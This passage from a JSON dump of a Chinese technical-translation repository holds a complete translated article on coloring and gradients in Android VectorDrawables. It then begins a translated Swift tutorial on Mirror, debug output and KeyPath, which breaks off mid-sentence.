    "content": "> * 原文地址：[Draw a Path: Rendering Android VectorDrawables](https://medium.com/androiddevelopers/draw-a-path-rendering-android-vectordrawables-89a33b5e5ebf)\n> * 原文作者：[Nick Butcher](https://medium.com/@crafty)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/draw-a-path-rendering-android-vectordrawables.md](https://github.com/xitu/gold-miner/blob/master/TODO1/draw-a-path-rendering-android-vectordrawables.md)\n> * 译者：[xiaxiayang](https://github.com/xiaxiayang)\n> * 校对者：[Mirosalva](https://github.com/Mirosalva), [siegeout](https://github.com/siegeout)\n\n# 绘制路径：Android 中矢量图渲染\n\n![](https://cdn-images-1.medium.com/max/2600/1*t4yigvVn3kGRHnTu0yAlqQ.png)\n\n插图来自 [Virginia Poltrack](https://twitter.com/VPoltrack)\n\n在上一篇文章中，我们研究了 Android 的 VectorDrawable 格式，了解了它的优点和功能。\n\n- [了解 Android 的矢量图片格式：VectorDrawable](https://github.com/xitu/gold-miner/blob/master/TODO1/understanding-androids-vector-image-format-vectordrawable.md)\n\n我们讨论了如何定义组成 assets 中形状的路径。`VectorDrawable` 支持许多实际绘制这些形状的方法，我们可以使用这些方法创建丰富的、灵活的、可配置主题的和可交互的资源。在这篇文章中，我将深入探讨这些技巧：颜色资源、主题颜色、颜色状态列表和渐变的使用。\n\n### 简单的颜色\n\n绘制路径最简单的方法是指定一种硬编码的 fill/stroke 颜色。\n\n```\n<!-- Copyright 2018 Google LLC.\n     SPDX-License-Identifier: Apache-2.0 -->\n<vector ...>\n\n    <path\n      android:pathData=\"...\"\n      android:fillColor=\"#ff00ff\"\n      android:strokeColor=\"#999\"\n      android:strokeWidth=\"2\"\n      android:strokeLineCap=\"square\" />\n\n</vector>\n```\n\n你可以定义这两个属性中的一个或者两个，但每个路径只能应用一组 fill/stroke (这与某些图形包不同)。首先绘制填充内容，然后绘制描边内容。描边总是居中的（不像一些图形应用程序定义了内边缘和外边缘），它需要被明确的指定 `strokeWidth` 属性，而 `strokeLineCap`、`strokeLineJoin` 属性是可以选择性定义的，这些属性控制描边线的端点/连接处的形状（也可以定义 `strokeMiterLimit` 来控制 `miter` 线的交点的形状）。不支持虚线描边。\n\n填充和描边都提供单独的 alpha 属性：`fillAlpha` 和 `strokeAlpha` [0-1] 都默认为 1，即完全不透明。如果为一个设置了 alpha 值的组件指定 `fillColor` 或 `strokeColor`，结果是这两个值的结合。例如，如果指定 50% 透明的红色 `fillColor`（`#80ff0000`）和 0.5 的 `fillAlpha`，那么结果将是 25% 透明的红色。单独的 alpha 属性使路径的不透明度更容易动画化。\n\n### 颜色资源\n\n矢量图形中填充和描边颜色的设置都支持 `@color` 资源的语法：\n\n```\n<!-- Copyright 2018 Google LLC.\n     SPDX-License-Identifier: Apache-2.0 -->\n<vector ...>\n\n  <path\n    android:pathData=\"...\"\n    android:fillColor=\"@color/teal\"\n    android:strokeColor=\"@color/purple\"\n    android:strokeWidth=\"2\" />\n\n</vector>\n```\n\n这允许你可以提取颜色以便于维护，并帮助你约束应用程序的色调一致性。\n\n它还允许你使用 Android 的 [资源限定符](https://developer.android.com/guide/topics/resources/providing-resources#AlternativeResources) 在不同配置中提供不同的颜色值。例如，你可以在夜间模式（`res/colors-night/colors.xml`）或如果 [设备支持宽色域](https://medium.com/google-design/android-color-management-what-developers-and-designers-need-to-know-4fdd8054557e)（`res/colors-widecg/colors.xml`）下提供替代的颜色值。\n\n### 主题色\n\n所有版本的矢量（从 API14 到 AndroidX）都支持使用主题属性（例如 `?attr/colorPrimary`）来指定颜色。这些颜色是由主题提供的，对于创建灵活的资源非常有用，这种资源可以在应用的不同位置使用。\n\n使用主题颜色主要有两种方式。\n\n#### 为 fills/strokes 设置主题色\n\n你可以直接引用主题颜色来设置填充或描边路径：\n\n```\n<!-- Copyright 2018 Google LLC.\n     SPDX-License-Identifier: Apache-2.0 -->\n<vector ...>\n\n  <path\n    android:pathData=\"...\"\n    android:fillColor=\"?attr/colorPrimary\" />\n\n</vector>\n```\n\n如果你希望资源中的元素依据主题有所不同，那么这是非常有用的。例如，一个体育类型的应用程序可以设置一个主题色的占位符图像来显示球队的颜色；使用单一绘图：\n\n![](https://cdn-images-1.medium.com/max/1600/1*bC0qT04NmBsM5wQdiDYPgw.png)\n\n用主题颜色填充路径\n\n#### 着色\n\n`<vector>` 根元素提供了 `tint` 和 `tintMode` 属性值：\n\n```\n<!-- Copyright 2018 Google LLC.\n     SPDX-License-Identifier: Apache-2.0 -->\n<vector ...\n  android:tint=\"?attr/colorControlNormal\">\n\n    <path ... />\n\n</vector>\n```\n\n虽然你可以使用它来采取静态着色，但它在与主题属性组合时更有用。这允许您根据引入的主题更改整个资源文件的颜色。例如，你可以使用 `?attr/colorControlNormal`，它定义了图标的标准颜色，并在明暗主题之间变化。这样你就可以在不同主题的屏幕上使用一个图标：\n\n![](https://cdn-images-1.medium.com/max/1600/1*h1z2s8mJ6giKx5_Ixx0DQQ.png)\n\n在明/暗屏幕上对图标进行着色，使其具有适当的颜色\n\n使用着色的一个好处是，你不需要依赖于你的资源文件(通常来自你的设计师)是正确的颜色。对图标使用 `?attr/colorControlNormal` 属性既能主题化，又能保证资源文件的颜色完全相同、正确。\n\n`tintMode` 属性允许你更改用于着色绘制的混合模式，它支持：`add`、`multiply`、`screen`、`src_atop`、`src_over`或`src_in`；对应于类似的 [PorterDuff.Mode](https://developer.android.com/reference/android/graphics/PorterDuff.Mode)。通常你使用的默认属性是 `src_in`，它将图像作为 alpha 蒙版应用于整个图标，忽略单个路径中的任何颜色信息（尽管 alpha 通道是维护的）。因此，如果你打算给图标着色，那么最好使用完全不透明的填充/描边颜色（惯例是使用 `#fff`）。\n\n你可能想知道什么时候为资源着色？什么时候在单独的路径上使用主题颜色？因为这两种颜色都可以获得类似的结果。如果你只想在某些路径上使用主题颜色，那么必须直接使用它们。另一个需要考虑的问题是，你的资源是否具有重叠渲染。如果是这样的话，那么用半透明的主题颜色填充可能不会产生你想要的效果，但应用着色模式可能达到这种效果。\n\n![](https://cdn-images-1.medium.com/max/1600/1*3hsEvZy71AHHAPAz-f9AHw.png)\n\n具有重叠路径和半透明主题颜色的资源:比较着色和填充模式\n\n请注意，你可以通过设置 `android:theme` 属性，在`Activity`/`View` 级别改变可绘制对象的主题，或者在代码中使用 [ContextThemeWrapper](https://developer.android.com/reference/android/view/ContextThemeWrapper.html) 设置一个特定的主题来 [填充](https://developer.android.com/reference/android/support/v7/content/res/AppCompatResources.html#getDrawable%28android.content.Context,%20int%29) 这个矢量图形。\n\n```\n/* Copyright 2018 Google LLC.\n   SPDX-License-Identifier: Apache-2.0 */\nval themedContext = ContextThemeWrapper(context, R.style.baz)\nval drawable = AppCompatResources.getDrawable(themedContext, R.drawable.vector)\n```\n\n覆盖主题 `baz`\n\n### 颜色状态列表\n\n对于 填充/描边，`VectorDrawable` 支持 [ColorStateLists](https://developer.android.com/reference/android/content/res/ColorStateList.html) 的引用。通过这种方式，你可以创建一个单独的绘图，其中路径根据视图/绘图的状态（如按下、选择、激活等）来改变颜色。\n\n![](https://cdn-images-1.medium.com/max/1600/1*6ZTTJcAjPO6cUU5yk3tahQ.gif)\n\n矢量图形对按下和选择的状态作出响应的例子\n\n这是在 API24 中引入的，但最近添加到 AndroidX 中，从 1.0.0 版本也支持 API14。这也使用了 [AndroidX 颜色状态列表填充](https://developer.android.com/reference/android/support/v7/content/res/AppCompatResources.html#getColorStateList%28android.content.Context,%20int%29)，这意味着你也可以在 `ColorStateList` 中使用主题属性和 alpha（它们本身只在 API23 中被添加到平台中）。\n\n```\n<!-- Copyright 2018 Google LLC.\n     SPDX-License-Identifier: Apache-2.0 -->\n<selector ...>\n  <item android:state_pressed=\"true\"\n    android:color=\"?attr/colorPrimary\"\n    app:alpha=\"0.8\"/>\n  <item android:color=\"#ec407a\"/>\n</selector>\n```\n\n虽然在 `StateListDrawable` 中使用多个可绘制对象也可以获得类似的结果，但是如果状态之间的呈现差异很小，则可以减少重复，并且更容易维护。\n\n我也非常喜欢为自定义视图创建自己的状态，这些视图可以与此支持结合使用，以控制资源中的元素，例如在某个特定状态触发之前将路径设为透明。\n\n### 渐变\n\n![](https://cdn-images-1.medium.com/max/1600/1*v9DUfuae-a0oX12Dw88pmw.png)\n\n支持 3 种类型的渐变\n\n`VectorDrawable` 支持线性、径向和扫描（也称为角）渐变的填充和描边。在 AndroidX 包往前可支持到 API4 版本。渐变是在它们自己的文件中以 `res/colors/` 的形式声明的，但是我们可以使用 [内嵌资源技术](https://developer.android.com/guide/topics/resources/complex-xml-resources) 来代替在矢量图形中声明的渐变，这样更方便：\n\n```\n<!-- Copyright 2018 Google LLC.\n     SPDX-License-Identifier: Apache-2.0 -->\n<vector ...>\n  <path android:pathData=\"...\">\n    <aapt:attr name=\"android:fillColor\">\n      <gradient .../>\n    </aapt:attr>\n  </path>\n</vector>\n```\n\n在构建时，渐变被提取到它自己的资源中，并在父元素中插入对它的引用。如果要多次使用相同的渐变，最好声明一次并引用它，因为内联版本每次都会创建一个新资源。\n\n当指定渐变时，任何坐标都位于根矢量元素的视觉空间中。让我们看看每一种渐变，以及如何使用它们。\n\n#### 线性\n\n```\n<!-- Copyright 2018 Google LLC.\n     SPDX-License-Identifier: Apache-2.0 -->\n<gradient\n  android:type=\"linear\"\n  android:startX=\"12\"\n  android:startY=\"0\"\n  android:endX=\"12\"\n  android:endY=\"24\"\n  android:startColor=\"#1b82bd\"\n  android:endColor=\"#a242b4\"/>\n```\n\n线性渐变必须指定 开始/结束的 X/Y 坐标和 `type=\"linear\"`。\n\n#### 径向\n\n```\n<!-- Copyright 2018 Google LLC.\n     SPDX-License-Identifier: Apache-2.0 -->\n<gradient\n  android:type=\"radial\"\n  android:centerX=\"0\"\n  android:centerY=\"12\"\n  android:gradientRadius=\"12\"\n  android:startColor=\"#1b82bd\"\n  android:endColor=\"#a242b4\"/>\n```\n\n径向渐变必须指定一个中心点 X/Y 的坐标和一个半径（同样在视觉坐标中），以及 `type=\"radial\"`。\n\n#### 扫描\n\n```\n<!-- Copyright 2018 Google LLC.\n     SPDX-License-Identifier: Apache-2.0 -->\n<gradient\n  android:type=\"sweep\"\n  android:centerX=\"0\"\n  android:centerY=\"12\"\n  android:startColor=\"#1b82bd\"\n  android:endColor=\"#a242b4\"/>\n```\n\n扫描渐变必须指定一个中心点坐标 X/ Y和 `type=\"sweep\"`。\n\n#### 起止颜色\n\n渐变的使用很方便，你可以直接在渐变中指定一个 `startColor`、`centerColor` 和 `endColor`。如果你需要更细粒度的控制它或者设置更多起止颜色，你也可以通过添加指定了 `color` 和 [0–1] `offset`（可以把这个看成控制渐变程度的百分比）的子 `item` 来实现。\n\n```\n<!-- Copyright 2018 Google LLC.\n     SPDX-License-Identifier: Apache-2.0 -->\n<gradient ...>\n  <item\n    android:offset=\"0.0\"\n    android:color=\"#1b82bd\"/>\n  <item\n    android:offset=\"0.72\"\n    android:color=\"#6f5fb8\"/>\n  <item\n    android:offset=\"1.0\"\n    android:color=\"#a242b4\"/>\n</gradient>\n```\n\n#### 平铺模式\n\n线性和径向(不是扫描)渐变提供了平铺的概念——也就是说，如果渐变没有覆盖它填充/描边的整个路径，那么应该怎么做。默认值是 `clamp`, 它只是延续开始/结束的颜色。或者你可以指定 `repeat` 或者 `mirror` 平铺模式，这些模式……正如它们的名称所暗示的那样!在以下示例中,定义了一个径向渐变：中心蓝色 → 紫色圆形，但充满更大的正方形路径。\n\n![](https://cdn-images-1.medium.com/max/1600/1*8ngJx7igxFyEc48mjrN4xA.png)\n\n渐变平铺模式\n\n#### 模式\n\n我们可以结合使用起止颜色和平铺模式来实现矢量图形中的基本模式支持。例如，如果指定了一致的起止颜色，就可以实现突然的颜色更改。将其与重复的平铺模式结合起来，就可以创建条纹模式。[例如](https://gist.github.com/nickbutcher/1e6c2309ee075ac62d2f8a6c285f0ce8) 这是一个由单个模式的填充形状组成的加载指示器。通过在持有此模式的 group 上动画化 `translateX` 属性，我们可以实现以下效果:\n\n![](https://cdn-images-1.medium.com/max/1600/1*uXCjERVWWepz-1AyHIy2Ow.gif)\n\n注意，这种技术与完整的 [SVG 模式](https://www.w3.org/TR/SVG/pservers.html#Patterns) 支持相去甚远，但它可能很有用。\n\n#### 插图\n\n![](https://cdn-images-1.medium.com/max/1600/1*Rk-FXON4_Y5RqsD_koB-ow.png)\n\n另一幅由非常有才华的 [Virginia Poltrack](https://twitter.com/VPoltrack) 绘制的可爱插图\n\n渐变在像插图这样的大型矢量图形中非常常见。矢量图非常适合插图，但是在放大时要注意内存的权衡。我们将在本系列的后面讨论这个问题。\n\n#### 阴影\n\n`VectorDrawable`s 不支持阴影效果；然而，简单的阴影可以用渐变来模拟实现。例如，这个 app 图标使用径向渐变来近似白色圆圈的投影，三角形下方的阴影使用线性渐变:\n\n![](https://cdn-images-1.medium.com/max/1600/1*LtNVL0GpyFlFei434XS-0Q.png)\n\n使用渐变近似阴影\n\n同样，这离完全的支持阴影还有很长的路要走，因为只能绘制线性/径向/扫描渐变，而不能沿着任意路径绘制。你可以近似一些形状；特别是像如下 [示例](https://gist.github.com/nickbutcher/b9c726e956d25b354ee1d19dcb105a88) 对渐变元素应用变换，它使用 `scaleY` 属性将一个径向渐变的圆转换成一个椭圆形来创建阴影：\n\n![](https://cdn-images-1.medium.com/max/1600/1*CPo9LovW1xgD5jCkWRu0Ow.gif)\n\n转换包含渐变的路径\n\n### 颜色的数量\n\n希望这篇文章已经表明 `VectorDrawable`支持许多高级特性，你可以使用这些特性在应用程序中渲染更复杂的资源，甚至可以用一个文件替换多个资源，帮助你构建更精简的应用程序。\n\n我建议所有的应用程序都应该使用主题色彩的图标。`ColorStateList` 和渐变支持就合适，但是如果你需要它，最好知道矢量图形支持的这些用例。\n\n与矢量图形的兼容性非常好，因此这些特性现在可以在大多数应用程序中使用（下一期将详细介绍）。\n\n加入我们下一部分关于矢量图形的探索：\n\n- [**在 Android 应用中使用矢量资源**：在之前的文章中我们已经了解了 Android 的VectorDrawable 图像格式和它的功能](https://medium.com/androiddevelopers/using-vector-assets-in-android-apps-4318fd662eb9 \"https://medium.com/androiddevelopers/using-vector-assets-in-android-apps-4318fd662eb9\")\n\n即将展示：为 Android 创建矢量资源\n即将展示：分析 Android 的 `VectorDrawable`\n\n感谢 [Ben Weiss](https://medium.com/@keyboardsurfer?source=post_page)、[Don Turner](https://medium.com/@donturner?source=post_page) 和 [Doris Liu](https://medium.com/@doris4lt?source=post_page)。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/dynamic-features-in-swift.md",
    "content": "> * 原文地址：[Dynamic Features in Swift](https://www.raywenderlich.com/5743-dynamic-features-in-swift)\n> * 原文作者：[Mike Finney](https://www.raywenderlich.com/u/finneycanhelp)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/dynamic-features-in-swift.md](https://github.com/xitu/gold-miner/blob/master/TODO1/dynamic-features-in-swift.md)\n> * 译者：[iWeslie](https://github.com/iWeslie)\n> * 校对者：[atuooo](https://github.com/atuooo)\n\n# Swift 中的动态特性\n\n> 在本教程中，你将学习如何使用 Swift 中的动态特性编写简洁、清晰的代码并快速解决无法预料的问题。\n\n作为一名忙碌的 Swift 开发人员，你的需求对你来说是特定的，但对所有人来说都是共同的。你希望编写整洁的代码，一目了然地了解代码中的内容并快速解决无法预料的问题。\n\n本教程将 Swift 的动态性和灵活性结合在一起来满足那些需求。通过使用最新的 Swift 技术，你将学习如何自定义输出到控制台，挂钩第三方对象状态更改，并使用一些甜蜜的语法糖来编写更清晰的代码。\n\n具体来说，你将学习以下内容：\n\n*   `Mirror`\n*   `CustomDebugStringConvertible`\n*   使用 keypath 进行键值监听（KVO）\n*   动态查找成员\n*   相关技术\n\n最重要的是，你将度过一段美好的时光！\n\n本教程需要 Swift 4.2 或更高版本。你必须下载最新的 [Xcode 10](https://developer.apple.com/download/) 或安装最新的 [Swift 4.2](https://swift.org/download/#snapshots)。\n\n此外，你必须了解基本的 Swift 类型。Swift 入门教程（[原文链接](https://www.raywenderlich.com/119881/enums-structs-and-classes-in-swift)）中的[枚举](https://www.cnswift.org/enumerations)，[类和结构体](https://www.cnswift.org/classes-and-structures)是一个很好的起点。虽然不是严格要求，但你也可以查看在 Swift 中实现[自定义下标](https://www.cnswift.org/subscripts)（[原文链接](https://www.raywenderlich.com/123102/implementing-custom-subscripts-swift)）。\n\n## 入门\n\n在开始之前，**请先[下载资源](https://koenig-media.raywenderlich.com/uploads/2018/08/DynamicFeaturesInSwift.zip)**（入门项目和最终项目）。\n\n为了让你专注于学习 Swift 动态特性，其他所需的所有代码都已经为你写好了！就像和一只友好的导盲犬一起散步一样，本教程将指导你完成入门代码中的所有内容。\n\n![](https://koenig-media.raywenderlich.com/uploads/2018/06/smiling_dog_small.jpg)\n\n快乐的狗狗\n\n在名为 *DynamicFeaturesInSwift-Starter* 的入门项目代码目录中，你将看到三个 Playground 页面：*DogMirror*、*DogCatcher* 和 *KennelsKeyPath*。Playground 在macOS上运行。本教程与平台无关，仅侧重于 Swift 语言。\n\n## 使用 Mirror 的反射机制与调试输出\n\n无论你是断点调试追踪问题还是只探索正在运行的代码，控制台中的信息是否整洁都会产生比较大的影响。Swift 提供了许多自定义控制台输出和捕获关键事件的方法。对于自定义输出，它没有 Mirror 深入。Swift 提供比最强大的雪橇犬还要强大的力量，能把你从冰冷的雪地拉出来！\n\n![](https://koenig-media.raywenderlich.com/uploads/2018/06/siberian_husky_small.jpg)\n\n西伯利亚雪橇犬\n\n在了解有关 `Mirror` 的更多信息之前，你首先要为一个类型编写一些自定义的控制台输出。这将有助于你更清楚地了解目前正在发生的事情。\n\n### CustomDebugStringConvertible\n\n用 Xcode 打开 *DynamicFeaturesInSwift.playground* 并前往 *DogMirror* 页面。\n\n为了纪念那些迷路的可爱的小狗，它们被捕手抓住然后与它们的主人团聚，这个页面有 Dog 类和 DogCatcherNet 类。首先我们看一下 DogCatcherNet 类。\n\n由于丢失的小狗必须被捕获并与其主人团聚，所以我们必须支持捕狗者。你在以下项目中编写的代码将帮助捕狗者评估捕狗网的质量。\n\n在 Playground 里，看看以下内容：\n\n```swift\nenum CustomerReviewStars { case one, two, three, four, five }\n```\n\n```swift\nclass DogCatcherNet {\n  let customerReviewStars: CustomerReviewStars\n  let weightInPounds: Double\n  // ☆ Add Optional called dog of type Dog here\n\n  init(stars: CustomerReviewStars, weight: Double) {\n    customerReviewStars = stars\n    weightInPounds = weight\n  }\n}\n\n```\n\n```swift\nlet net = DogCatcherNet(stars: .two, weight: 2.6)\ndebugPrint(\"Printing a net: \\(net)\")\ndebugPrint(\"Printing a date: \\(Date())\")\nprint()\n\n```\n\n`DogCatcherNet` 有两个属性：`customerReviewStars` 和 `weightInPounds`。客户评论的星星数量反映了客户对净产品的感受。以磅为单位的重量告诉狗捕捉者他们将经历拖拽网的负担。\n\n运行 Playground。你应该看到的内容前两行与下面类似：\n\n```\n\"Printing a net: __lldb_expr_13.DogCatcherNet\"\n\"Printing a date: 2018-06-19 22:11:29 +0000\"\n```\n\n正如你所见，控制台中的调试输出会打印与网络和日期相关的内容。保佑它吧！代码的输出看起来像是由机器宠物制作的。这只宠物已经尽力了，但它需要我们人类的帮助。正如您所看到的，它打印出了诸如 `“__lldb_expr_”` 之类的额外信息。打印出的日期可以提供更有用的功能，但是这是否足以帮助你追踪一直困扰着你的问题还尚不清楚。\n\n为了增加成功的机会，你需要用到 **CustomDebugStringConvertible** 的魔力来基础自定义制台输出。在 Playground 上，在 **DogCatcherNet **里的 **☆ Add Conformance to CustomDebugStringConvertible** 下面添加以下代码：\n\n```swift\nextension DogCatcherNet: CustomDebugStringConvertible {\n  public var debugDescription: String {\n    return \"DogCatcherNet(Review Stars: \\(customerReviewStars), Weight: \\(weightInPounds)\"\n  }\n}\n\n```\n\n对于像 `DogCatcherNet` 这样的小东西，一个类可以遵循 `CustomDebugStringConvertible` 并使用 `debugDescription` 属性来提供自己的调试信息。\n\n运行 Playground。除日期值会有差异外，前两行应包括：\n\n```\n\"Printing a net: DogCatcherNet(Review Stars: two, Weight: 2.6)\"\n\"Printing a date: 2018-06-19 22:10:31 +0000\"\n```\n\n对于具有许多属性的较大类型，此方法需要显式样板的类型。对于有决心的人来说，这不是问题。如果时间不够，还有其他选项，例如 `dump`。\n\n### Dump\n\n如何避免需要手动添加样板代码？一种解决方案是使用 `dump`。`dump` 是一个通用函数，它打印出类型属性的所有名称和值。\n\nPlayground 已经包含 dump 出捕狗网和日期的调用。代码如下所示：\n\n```swift\ndump(net)\nprint()\n\ndump(Date())\nprint()\n```\n\n运行 playground。控制台的输出如下：\n\n```\n▿ DogCatcherNet(Review Stars: two, Weight: 2.6) #0\n  - customerReviewStars: __lldb_expr_3.CustomerReviewStars.two\n  - weightInPounds: 2.6\n\n▿ 2018-06-26 17:35:46 +0000\n  - timeIntervalSinceReferenceDate: 551727346.52924\n```\n\n由于你目前使用 `CustomDebugStringConvertible` 完成的工作，`DogCatcherNet` 看起来比其他方式更好。输出包含：\n\n```swift\nDogCatcherNet(Review Stars: two, Weight: 2.6)\n```\n\n`dump` 还会自动输出每个属性。棒极了！现在是时候使用 Swift 的 `Mirror` 让这些属性更具可读性了。\n\n### Swift Mirror\n\n![](https://koenig-media.raywenderlich.com/uploads/2018/06/mirror_dog_small.jpg)\n\n魔镜魔镜，告诉我，谁才是世界上最棒的狗？\n\n`Mirror` 允许你在运行时通过 playground 或调试器显示任何类型实例的值。简而言之，`Mirror` 的强大在于内省。内省是[反射 ](https://developer.apple.com/documentation/swift/swift_standard_library/debugging_and_reflection)的一个子集。\n\n### 创建一个 Mirror 驱动的狗狗日志\n\n是时候创建一个 Mirror 驱动的狗狗日志了。为了协助调试，最理想的是通过日志功能向控制台显示捕狗网的值，其中自定义输出带有表情符号。日志功能应该能够处理你传递的任何类型。\n\n### 创建一个 Mirror\n\n是时候创建一个使用 Mirror 的日志功能了。首先，在 **☆ Create log function here** 添加以下代码：\n\n```swift\nfunc log(itemToMirror: Any) {\n  let mirror = Mirror(reflecting: itemToMirror)\n  debugPrint(\"Type: 🐶 \\(type(of: itemToMirror)) 🐶 \")\n}\n```\n\n这将为传入的对象创建镜像，镜像允许你迭代实例的各个部分。\n\n将以下代码添加到 `log(itemToMirror:)` 的末尾：\n\n```swift\nfor case let (label?, value) in mirror.children {\n  debugPrint(\"⭐ \\(label): \\(value) ⭐\")\n}\n```\n\n这将访问镜像的 `children` 属性，获取每个标签值对，然后将它们打印到控制台。标签值对的类型别名为 `Mirror.Child`。对于 `DogCatcherNet` 实例，代码迭代捕狗网对象的属性。\n\n澄清一点，被检查实例的子级与父类或子类层次结构无关。通过镜像访问的孩子只是被检查实例的一部分。\n\n现在，是时候调用新的日志方法了。在 **☆ Log out the net and a Date object here** 添加以下代码：\n\n```swift\nlog(itemToMirror: net)\nlog(itemToMirror: Date())\n```\n\n运行 playground。你会在控制台的底部看到一些很棒的输出：\n\n```\n\"Type: 🐶 DogCatcherNet 🐶 \"\n\"⭐ customerReviewStars: two ⭐\"\n\"⭐ weightInPounds: 2.6 ⭐\"\n\"Type: 🐶 Date 🐶 \"\n\"⭐ timeIntervalSinceReferenceDate: 551150080.774974 ⭐\"\n```\n\n这显示了所有属性的名称和值。名称和你在代码中写的一样。例如，`customerReviewStars` 实际上是如何在代码中拼写属性名称。\n\n### CustomReflectable\n\n如果你想要让更多的狗或者小马也能更清楚地显示其中的属性名称应该怎么办呢？如果你又不想显示某些属性要怎么办呢？如果你希望在技术上显示的不属于该类型的每一项，又该怎么办呢？这时你可以使用 `CustomReflectable`。\n\n`CustomReflectable` 提供了一个接口，你可以使用自定义的 `Mirror` 来指定需要显示类型实例的哪些部分。要遵循 `CustomReflectable` 协议，这个类必须定义 `customMirror` 属性。\n\n在与几位捕手程序员交谈后，你发现打印捕狗网的 `weightInPounds` 属性并没有帮助于调试。但是 `customerReviewStars` 的信息非常有用，他们希望`customerReviewStars` 的标签显示为 “Customer Review Stars”。现在，是时候让 `DogCatcherNet` 遵循 `CustomReflectable` 了。\n\n在 **☆ Add Conformance to CustomReflectable for DogCatcherNet here** 后面添加以下代码：\n\n```swift\nextension DogCatcherNet: CustomReflectable {\n  public var customMirror: Mirror {\n    return Mirror(DogCatcherNet.self,\n                  children: [\"Customer Review Stars\": customerReviewStars,\n                            ],\n                  displayStyle: .class, ancestorRepresentation: .generated)\n  }\n}\n```\n\n运行 playground 能看到如下的输出：\n\n```\n\"Type: 🐶 DogCatcherNet 🐶 \"\n\"⭐ Customer Review Stars: two ⭐\"\n```\n\n**狗狗上哪去了呢？**\n捕狗网的作用是当有狗来的时候抓住它。当网里装满狗时，必须有办法在网中提取有关狗的信息。具体来说，你需要狗的名字和年龄。\n\nPlayground 的页面已经有一个 `Dog` 类。是时候将 `Dog` 与 `DogCatcherNet` 连接起来了。在标记了 **☆ Add Optional called dog of type Dog here** 的标签下为 `DogCatcherNet` 添加以下属性：\n\n```swift\nvar dog: Dog?\n```\n\n随着狗的属性添加到了 `DogCatcherNet`，是时候再将狗添加到`DogCatcherNet` 的 `customMirror` 了。在 `children: [\"Customer Review Stars\": customerReviewStars,` 这一行下添加以下的一个字典：\n\n```swift\n\"dog\": dog ?? \"\",\n\"Dog name\": dog?.name ?? \"No name\"\n```\n\n这将使用其默认调试描述和狗的名称输出狗的属性。\n\n是时候轻轻地把狗放进网里了。现在把 **☆ Uncomment assigning the dog** 那一行取消注释，可爱的小狗就可以被放到网里了。\n\n```swift\nnet.dog = Dog() // ☆ Uncomment out assigning the dog\n```\n\n运行 Playground 能看到如下输出：\n\n```\n\"Type: 🐶 DogCatcherNet 🐶 \"\n\"⭐ Customer Review Stars: two ⭐\"\n\"⭐ dog: __lldb_expr_23.Dog ⭐\"\n\"⭐ Dog name: Abby ⭐\"\n```\n\n**Mirror 的便利**\n\n能够看到一切真是太好了。但是，有些时候你只想看到镜像的其中一部分。为此，使用 [`descendant(_:_:)`](https://developer.apple.com/documentation/swift/mirror/1540759-descendant) 来取出名称和年龄：\n\n```swift\nlet netMirror = Mirror(reflecting: net)\n\nprint (\"The dog in the net is \\(netMirror.descendant(\"dog\", \"name\") ?? \"nonexistent\")\")\nprint (\"The age of the dog is \\(netMirror.descendant(\"dog\", \"age\") ?? \"nonexistent\")\")\n```\n\n运行 Playground，你将在控制台底部看到如下输出：\n\n```\nThe dog in the net is Bernie\nThe age of the dog is 2\n```\n\n那是烦人的动态内省。它对于调试自定义的类型非常有用！在深入探讨了 `Mirror` 后，你就完成了 **DogMirror.xcplaygroundpage**。\n\n### 封装 Mirror 调试输出\n\n有很多方法可以追踪程序中发生了什么，例如猎犬。`CustomDebugStringConvertible`、`dump` 和 `Mirror` 能让你更清楚地看到你在寻找什么。Swift 的内省功能非常有用，特别是当你开始构建更庞大更复杂的应用程序时！\n\n## KeyPath\n\n有关跟踪程序中发生的事情的情况，Swift 有一些很棒的解决方案，叫做 keypath。要捕获事件，例如当第三方库对象中的值发生更改时，请向 `键值监听` 寻求帮助。\n\n在 Swift 中，keyPath 是强类型的路径，其类型在编译时被检查。在 Objective-C 中，它们只是字符串。教程 [Swift 4 新特性](https://knightcai.github.io/2017/09/11/Swift-4-新特性/) 在键值编码部分的概念方面做得很好。\n\n有几种不同类型的 `KeyPath`。常见的类型包括 [KeyPath](https://developer.apple.com/documentation/swift/keypath)、[WritableKeyPath](https://developer.apple.com/documentation/swift/writablekeypath) 和 [ReferenceWritableKeyPath](https://developer.apple.com/documentation/swift/referencewritablekeypath)。以下是它们的摘要：\n\n*   `KeyPath`：指定特定值类型的根类型。\n*   `WritableKeyPath`：可写入的 KeyPath，它不能用于类。\n*   `ReferenceWritableKeyPath`：用于类的可写入 KeyPath，因为类是引用类型。\n\n使用 KeyPath 的一个例子是在对象的值发生更改后观察或捕获。\n\n当你遇到涉及第三方对象的 bug 时，知道该对象的状态何时发生变化就显得尤为重要。除了调试之外，有时在第三方对象（例如 Apple 的 UIImageView 对象）中的值发生更改时，调用自定义代码进行响应是有意义的。在 [Design Patterns on iOS using Swift – Part 2/2](https://github.com/xitu/gold-miner/blob/master/TODO1/design-patterns-ios-using-swift-part-2-2.md) 